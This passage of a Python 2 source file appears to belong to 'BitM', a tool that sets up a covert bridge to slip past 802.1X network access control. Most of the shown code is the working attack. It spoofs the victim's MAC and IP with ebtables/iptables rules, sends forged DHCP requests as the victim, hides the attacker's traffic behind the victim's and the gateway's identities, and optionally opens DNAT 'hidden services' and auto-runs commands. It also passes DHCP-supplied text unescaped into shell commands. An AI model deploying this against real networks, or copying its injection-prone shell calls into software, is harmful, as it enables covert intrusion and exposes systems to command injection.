(self.bridge.ifmacs[self.bridge.switchsideint], self.bridge.switchsideint, self.subnet.get_clientmac())) 360 | #make sure catch any traffic that might not be caught in the normal POSTROUTING chain. Been burned before by my bridge's MAC :( 361 | os.system("ebtables -t nat -A POSTROUTING -s %s -o %s -j snat --snat-arp --to-src %s" % 362 | (self.bridge.getmac('mibr'), self.bridge.switchsideint, self.subnet.get_clientmac())) 363 | logging.info("ebtables -t nat -A POSTROUTING -s %s -o %s -j snat --snat-arp --to-src %s" % 364 | (self.bridge.getmac('mibr'), self.bridge.switchsideint, self.subnet.get_clientmac())) 365 | #set up an internal ARP entry that maps the Switch's MAC to an IP on our bridge's /24 so we can send it traffic using the bridge as an entry point 366 | os.system("arp -s -i %s 169.254.66.55 %s" % (self.bridge.bridgename, self.subnet.get_gatewaymac())) 367 | logging.info("arp -s -i %s 169.254.66.55 %s" % (self.bridge.bridgename, self.subnet.get_gatewaymac())) 368 | #tag all traffic leaving the bridge towards the switch with the victim's IP and NAT using ephemeral ports 61000-62000 for tcp and udp 369 | for proto in ['tcp', 'udp', 'icmp']: 370 | os.system("iptables -t nat -A POSTROUTING -o %s -s 169.254.0.0/16 -p %s -j SNAT --to %s%s" % 371 | (self.bridge.bridgename, proto, self.subnet.clientip, sports[proto])) 372 | logging.info("iptables -t nat -A POSTROUTING -o %s -s 169.254.0.0/16 -p %s -j SNAT --to %s%s" % 373 | (self.bridge.bridgename, proto, self.subnet.clientip, sports[proto])) 374 | #open up communication between us and the switch 375 | os.system("ebtables -A OUTPUT -o %s -j ACCEPT" % 376 | self.bridge.switchsideint) 377 | logging.info("ebtables -A OUTPUT -o %s -j ACCEPT" % 378 | self.bridge.switchsideint) 379 | logging.info("[*] Allowing outbound packets on the bridge") 380 | #allow traffic originating from us to leave the device on the bridge interface 381 | os.system("iptables -A OUTPUT -o %s -s %s -j ACCEPT" % 382 | (self.bridge.bridgename, "169.254.66.77")) 383 | logging.info("iptables -A OUTPUT -o %s -s %s -j ACCEPT" % 384 | (self.bridge.bridgename, "169.254.66.77")) 385 | 386 | #clear out any default route to the network 387 | logging.info("[*] deleting default route") 388 | os.system("ip route del default") 389 | logging.info("ip route del default") 390 | #set our default route to the IP we gave the switch's MAC on our bridge interface so we can start routing traffic to other hosts 391 | logging.info("[*] adding new route") 392 | os.system("ip route add default via 169.254.66.55 dev mibr") 393 | logging.info("ip route add default via 169.254.66.55 dev mibr") 394 | 395 | #set up a basic single-step traceroute to find the gateway IP as it is commonly missing at this point. We need this so the victim doesn't get kicked off the network 396 | #use google's dns as the 'destination' for this probing packet 397 | logging.info("[*] sending scout DHCP request") 398 | conf.checkIPaddr=False 399 | while self.subnet.gatewayip == '': 400 | spoofmac = self.subnet.get_clientmac() 401 | spoofmacraw = spoofmac.replace(':','').decode('hex') 402 | #set up a DHCP request from the victim MAC. Include DHCP option 55 to require useful info in the response like gateway, name servers, subnet mask, etc. 403 | dhcp_discover = Ether(src=spoofmac, dst='ff:ff:ff:ff:ff:ff')/IP(src='0.0.0.0', dst='255.255.255.255')/UDP(dport=67, sport=68)/BOOTP(chaddr=spoofmacraw,xid=RandInt())/DHCP(options=[('message-type', 'discover'), (55, "\x01\x03\x05\x06\x0c\x0f\x36"), 'end']) 404 | 405 | dhcp_offer = srp1(dhcp_discover,iface='mibr') 406 | # logging.info("sending new request") 407 | my_options = {} 408 | for pair in dhcp_offer[4].fields['options']: 409 | my_options[str(pair[0])] = str(pair[1]) 410 | 411 | logging.info("DHCP Options:") 412 | logging.info(my_options) 413 | 414 | try: 415 | logging.info("echo domain %s >> /etc/resolv.conf" % my_options['domain']) 416 | os.system(r"echo domain %s >> /etc/resolv.conf" % re.sub(r'[\x00]',r'',my_options['domain'])) 417 | except: 418 | logging.info("no domain listed") 419 | 420 | try: 421 | logging.info("echo nameserver %s >> /etc/resolv.conf" % my_options['name_server']) 422 | os.system(r"echo nameserver %s >> /etc/resolv.conf" % re.sub(r'[\x00]',r'',my_options['name_server'])) 423 | except: 424 | logging.info("no name servers listed") 425 | 426 | try: 427 | self.subnet.gatewayip = my_options['router'] 428 | logging.info("Gateway IP: %s" % self.subnet.gatewayip) 429 | except: 430 | self.subnet.gatewayip = my_options['server_id'] 431 | logging.info("Gateway IP: %s" % self.subnet.gatewayip) 432 | finally: 433 | logging.info("no router listed") 434 | logging.info("Gateway IP: %s" % self.subnet.gatewayip) 435 | 436 | logging.info("[*] Hiding communication between us and the victim") 437 | #tag all communication from the bridge towards the victim with the switch's MAC address 438 | os.system("ebtables -t nat -A POSTROUTING -s %s -o %s -j snat --snat-arp --to-src %s" % 439 | (self.bridge.ifmacs[self.bridge.clientsiteint], self.bridge.clientsiteint, self.subnet.get_gatewaymac())) 440 | logging.info("ebtables -t nat -A POSTROUTING -s %s -o %s -j snat --snat-arp --to-src %s" % 441 | (self.bridge.ifmacs[self.bridge.clientsiteint], self.bridge.clientsiteint, self.subnet.get_gatewaymac())) 442 | #tag all communicaiton from the bridge towards the victim with the gateway's IP address and NAT using ephemeral ports 61000-62000 for tcp and udp 443 | for proto in ['tcp', 'udp', 'icmp']: 444 | os.system("iptables -t nat -A POSTROUTING -o %s -s 169.254.0.0/16 -d %s -p %s -j SNAT --to %s%s" % 445 | (self.bridge.bridgename, self.subnet.clientip, proto, self.subnet.gatewayip, sports[proto])) 446 | logging.info("iptables -t nat -A POSTROUTING -o %s -s 169.254.0.0/16 -d %s -p %s -j SNAT --to %s%s" % 447 | (self.bridge.bridgename, self.subnet.clientip, proto, self.subnet.gatewayip, sports[proto])) 448 | #open up communication with the victim 449 | os.system("ebtables -A OUTPUT -o %s -j ACCEPT" % 450 | self.bridge.clientsiteint) 451 | logging.info("ebtables -A OUTPUT -o %s -j ACCEPT" % 452 | self.bridge.clientsiteint) 453 | 454 | logging.info("[*] NAT is ready.") 455 | 456 | if config['hidden_service']['switch'].upper() == 'ON': 457 | print "[*] Create hidden services" 458 | os.system("iptables -t nat -A PREROUTING -i %s -d %s -p %s --dport %s -j DNAT --to 169.254.66.77:%s" % 459 | (self.bridge.bridgename, self.subnet.clientip, config['hidden_service']['kind'].lower, config['hidden_service']['rport'], config['hidden_service']['lport'])) 460 | #clear out any default route to the network 461 | os.system("ip route del default") 462 | logging.info("ip route del default") 463 | #set our default route to the IP we gave the switch's MAC on our bridge interface so we can start routing traffic to other hosts 464 | os.system("ip route add default via 169.254.66.55 dev mibr") 465 | logging.info("ip route add default via 169.254.66.55 dev mibr") 466 | # os.system("ebtables -A OUTPUT -o wlan0 -j ACCEPT") 467 | # os.system("iptables -A OUTPUT -o wlan0 -j ACCEPT") 468 | # os.system("arptables -A OUTPUT -o wlan0 -j ACCEPT") 469 | os.system("ebtables -A OUTPUT -o %s -j ACCEPT" % config['management_int']) 470 | logging.info("ebtables -A OUTPUT -o %s -j ACCEPT" % config['management_int']) 471 | os.system("iptables -A OUTPUT -o %s -j ACCEPT" % config['management_int']) 472 | logging.info("iptables -A OUTPUT -o %s -j ACCEPT" % config['management_int']) 473 | os.system("arptables -A OUTPUT -o %s -j ACCEPT" % config['management_int']) 474 | logging.info("arptables -A OUTPUT -o %s -j ACCEPT" % config['management_int']) 475 | 476 | 477 | if config['auto_run']['switch'].upper() == 'ON': 478 | myshell = subprocess.call(config['auto_run']['command']) 479 | 480 | print """ 481 | ************************************************************************ 482 | * Warning! * 483 | * nmap uses raw sockets so NAT will NOT work for host discovery. * 484 | * For your own safety we block all outgoing ARP traffic with ebtables. * 485 | * You will need to provide the --send-ip parameter to get any results. * 486 | ************************************************************************ 487 | """ 488 | 489 | class Bridge: 490 | subnet = None 491 | bridgename = None 492 | ifmacs = {} 493 | interfaces = [] 494 | switchsideint = None 495 | clientsiteint = None 496 | 497 | def __init__(self, bridgename, interfaces, subnet): 498 | self.bridgename = bridgename 499 | self.interfaces = interfaces 500 | self.subnet = subnet 501 | os.system("brctl addbr %s" % bridgename) 502 | os.system("macchanger -r %s" % bridgename) 503 | 504 | for interface in [self.bridgename] + self.interfaces: 505 | self.ifmacs.update({interface: self.getmac(interface)}) 506 | os.system("ip link set %s down" % interface) 507 | if config['enable_ipv6'].upper() == 'OFF': 508 | os.system("sysctl -w net.ipv6.conf.%s.disable_ipv6=1" % interface) 509 | os.system("sysctl -w net.ipv6.conf.%s.autoconf=0" % interface) 510 | os.system("sysctl -w net.ipv6.conf.%s.accept_ra=0" % interface) 511 | if interface != bridgename: 512 | os.system("brctl addif %s %s" % (bridgename, interface)) 513 | os.system("ip link set %s promisc on" % interface) 514 | 515 | os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") 516 | 517 | # Allow 802.1X traffic to pass the bridge 518 | os.system("echo 8 > /sys/class/net/mibr/bridge/group_fwd_mask") 519 | 520 | def getmac(self, iface): 521 | res = cmd("ip link show %s" % iface) 522 | return re.search("..:..:..:..:..:..", res).group(0) 523 | 524 | def srcmac2bridgeint(self, srcmac): 525 | logging.info("searching for mac: %s ..." % srcmac) 526 | portnumber = cmd("brctl showmacs %s | grep %s | awk '{print $1}'" % 527 | (self.bridgename, srcmac)).rstrip() 528 | if not portnumber: 529 | logging.info("portnumber not found bailing") 530 | return False 531 | logging.info("portnumber is: %s" % portnumber) 532 | interface = cmd("brctl showstp %s | grep '(%s)' | head -n1 | awk '{print $1}'" % 533 | (self.bridgename, portnumber)).rstrip() 534 | logging.info("got interface: %s .." % interface) 535 | if not interface: 536 | logging.info("error getting interface, is the bridge setup right?") 537 | return False 538 | return interface 539 | 540 | def setinterfacesides(self): 541 | self.switchsideint = self.srcmac2bridgeint(self.subnet.get_gatewaymac()) 542 | logging.debug("switchside interface: %s - %s" % (self.switchsideint, self.ifmacs[self.switchsideint])) 543 | self.clientsiteint = self.srcmac2bridgeint(self.subnet.get_clientmac()) 544 | #logging.debug("clientside interface: %s - %s" % (self.clientsiteint, self.ifmacs[self.clientsiteint])) 545 | 546 | def up(self): 547 | for interface in [self.bridgename] + self.interfaces: 548 | os.system("ip link set %s up" % interface) 549 | 550 | def down(self): 551 | for interface in [self.bridgename] + self.interfaces: 552 | os.system("ip link set %s down" % interface) 553 | 554 | def destroy(self): 555 | self.down() 556 | os.system("brctl delbr %s" % self.bridgename) 557 | os.system("sysctl --system") 558 | 559 | 560 | def main(): 561 | if os.getuid() != 0: 562 | print "You need to run BitM as root!" 563 | sys.exit(1) 564 | 565 | dependencies = ['macchanger', 'brctl', 'ip', 'sysctl', 'arp', 566 | 'iptables', 'arptables', 'ebtables'] 567 | 568 | for d in dependencies: 569 | if os.system("which %s >/dev/null" % d): 570 | print "Command '%s' is missing. Please install." % d 571 | sys.exit(1) 572 | 573 | subnet = Subnet(config) 574 | bridge = Bridge("mibr", [config['iface0'],config['iface1']], subnet) 575 | netfilter = Netfilter(subnet, bridge) 576 | arptable = ArpTable() 577 | 578 | bridge.up() 579 | decoder = DecoderThread(bridge, subnet, arptable) 580 | 581 | sig = SignalHandler(decoder, bridge, netfilter) 582 | 583 | decoder.start() 584 | 585 | print "Listening on %s: net=%s, mask=%s, linktype=%d" % \ 586 | (bridge.bridgename, decoder.pcap.getnet(), decoder.pcap.getmask(), decoder.pcap.datalink()) 587 | 588 | print "Bridge MAC: %s" % (bridge.getmac('mibr')) 589 | 590 | while True: 591 | if subnet.clientip and subnet.gatewaymac and subnet.clientmac: 592 | print subnet 593 | logging.info("%s" % subnet) 594 | 595 | bridge.setinterfacesides() 596 | if config['radio_silence'].upper() == 'OFF': 597 | netfilter.updatetables() 598 | else: 599 | print """ 600 | ****************************************************** 601 | * Radiosilence is enabled. * 602 | * Not setting up NAT and disallow outgoing traffic." * 603 | ******************************************************\n""" 604 | break 605 | else: 606 | print "not enough info..." 607 | print subnet 608 | time.sleep(5) 609 | 610 | # arp setup 611 | while True: 612 | f = open(os.path.dirname(os.path.abspath(__file__)) + '/logs/subnetinfo', 'w') 613 | f.write(str(subnet)) 614 | f.close() 615 | arptable.updatekernel() 616 | time.sleep(5) 617 | 618 | 619 | if __name__ == '__main__': 620 | f = open(os.path.dirname(os.path.abspath(__file__)) + '/config.yaml','r') 621 | config = yaml.load(f) 622 | f.close() 623 | 624 | if (not config['iface0']) or (not config['iface1']): 625 | parser.error('Either give two interfaces or none to use the ' + 626 | 'default "eth1 eth2"') 627 | main() 628 | --------------------------------------------------------------------------------